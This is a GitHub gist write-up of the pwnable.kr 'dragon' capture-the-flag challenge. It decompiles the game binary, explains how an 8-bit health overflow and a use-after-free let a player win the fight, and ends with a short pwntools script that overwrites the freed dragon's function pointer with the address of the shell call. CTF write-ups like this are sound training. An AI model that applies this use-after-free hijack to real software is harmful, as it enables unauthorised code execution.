Instantly share code, notes, and snippets.

Embed
What would you like to do?
Pwnable.kr dragon writeup

Pwnable.kr dragon writeup

ihciah@gmail.com

This is a RPG that allow you to choose action and win the game. However, you cannot win this game unless using some tricks.

main:

puts("Welcome to Dragon Hunter!");
PlayGame();

PlayGame:

int PlayGame()
{
  int result; // eax@1

  while ( 1 )
  {
    while ( 1 )
    {
      puts("Choose Your Hero\n[ 1 ] Priest\n[ 2 ] Knight");
      result = GetChoice();
      if ( result != 1 && result != 2 )
        break;
      FightDragon(result);
    }
    if ( result != 3 )
      break;
    SecretLevel();
  }
  return result;
}

FightDragon:

void __cdecl FightDragon(int a1)
{
  char v1; // al@1
  void *v2; // ST1C_4@10
  int v3; // [sp+10h] [bp-18h]@7
  void *PLAYER_STRUCT; // [sp+14h] [bp-14h]@1
  void *DRAGON_STRUCT; // [sp+18h] [bp-10h]@1

  PLAYER_STRUCT = malloc(0x10u);
  DRAGON_STRUCT = malloc(0x10u);
  v1 = Count++;
  if ( v1 & 1 )
  {
    *((_DWORD *)DRAGON_STRUCT + 1) = 1;
    *((_BYTE *)DRAGON_STRUCT + 8) = 80;
    *((_BYTE *)DRAGON_STRUCT + 9) = 4;
    *((_DWORD *)DRAGON_STRUCT + 3) = 10;
    *(_DWORD *)DRAGON_STRUCT = PrintMonsterInfo;
    puts("Mama Dragon Has Appeared!");
  }
  else
  {
    *((_DWORD *)DRAGON_STRUCT + 1) = 0;
    *((_BYTE *)DRAGON_STRUCT + 8) = 50;
    *((_BYTE *)DRAGON_STRUCT + 9) = 5;
    *((_DWORD *)DRAGON_STRUCT + 3) = 30;
    *(_DWORD *)DRAGON_STRUCT = PrintMonsterInfo;
    puts("Baby Dragon Has Appeared!");
  }
  if ( a1 == 1 )
  {
    *(_DWORD *)PLAYER_STRUCT = 1;
    *((_DWORD *)PLAYER_STRUCT + 1) = 42;
    *((_DWORD *)PLAYER_STRUCT + 2) = 50;
    *((_DWORD *)PLAYER_STRUCT + 3) = PrintPlayerInfo;
    v3 = PriestAttack((int)PLAYER_STRUCT, DRAGON_STRUCT);
  }
  else
  {
    if ( a1 != 2 )
      return;
    *(_DWORD *)PLAYER_STRUCT = 2;
    *((_DWORD *)PLAYER_STRUCT + 1) = 50;
    *((_DWORD *)PLAYER_STRUCT + 2) = 0;
    *((_DWORD *)PLAYER_STRUCT + 3) = PrintPlayerInfo;
    v3 = KnightAttack((int)PLAYER_STRUCT, DRAGON_STRUCT);
  }
  if ( v3 )
  {
    puts("Well Done Hero! You Killed The Dragon!");
    puts("The World Will Remember You As:");
    v2 = malloc(16u);
    __isoc99_scanf("%16s", v2);
    puts("And The Dragon You Have Defeated Was Called:");
    (*(void (__cdecl **)(void *))DRAGON_STRUCT)(DRAGON_STRUCT);
  }
  else
  {
    puts("\nYou Have Been Defeated!");
  }
  free(PLAYER_STRUCT);
}

SecretLevel:

int SecretLevel()
{
  char s1; // [sp+12h] [bp-16h]@1
  int v2; // [sp+1Ch] [bp-Ch]@1

  v2 = *MK_FP(__GS__, 20);
  printf("Welcome to Secret Level!\nInput Password : ");
  __isoc99_scanf("%10s", &s1);
  if ( strcmp(&s1, "Nice_Try_But_The_Dragons_Won't_Let_You!") )
  {
    puts("Wrong!\n");
    exit(-1);
  }
  system("/bin/sh");
  return *MK_FP(__GS__, 20) ^ v2;
}

Our final goal is to get a shell. Since we notice that there is a shell when we enter secret level and enter the right password, let's review its code. Obviously this cannot be done.Nice_Try_But_The_Dragons_Won't_Let_You! is 39, but scanf only read 16. Maybe we have to defeat the dragon. We can choose two types of role. One is priest and the other is knight. And there are 2 types dragons too, the Baby Dragon and the Mama Dragon. After comparing the attribute, we can find the Mama Dragon is not as stronger as Baby Dragon and these 2 appears alternately. Priest has Holy Bolt which will deals 20 damage, Clarity which will refreshes all mana, HolyShield that can let you become temporarily invincible. Knight can Crash to deals 20 damage, and Frenzy to deals 40 damage but lose 20 too.

After calculating, we will definitely lose the battle. However, the variable saving dragon's life is only 1 byte which means the max life is 127.

So we can die one time to meet a weaker dragon, and use HolyShield and Clarity to let the dragon heal itself until it overflow and die.

After we win the game, the dragon will be freed, and the buffer of the same size will be applied to receive our input. And in the end, it will call the value saved at that the dragon's struct, so it's a UAF. Since both are 16, they are located at the same address.

We just input the shell's address to let it call and shell got.

from pwn import *
#sh = process('/home/c/ctf/dragon')
sh=remote('pwnable.kr',9004)
[sh.sendline('1') for i in range(4)]
[sh.sendline('3\n3\n2') for i in range(4)]
sh.sendline(p32(0x08048DBF))
sh.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment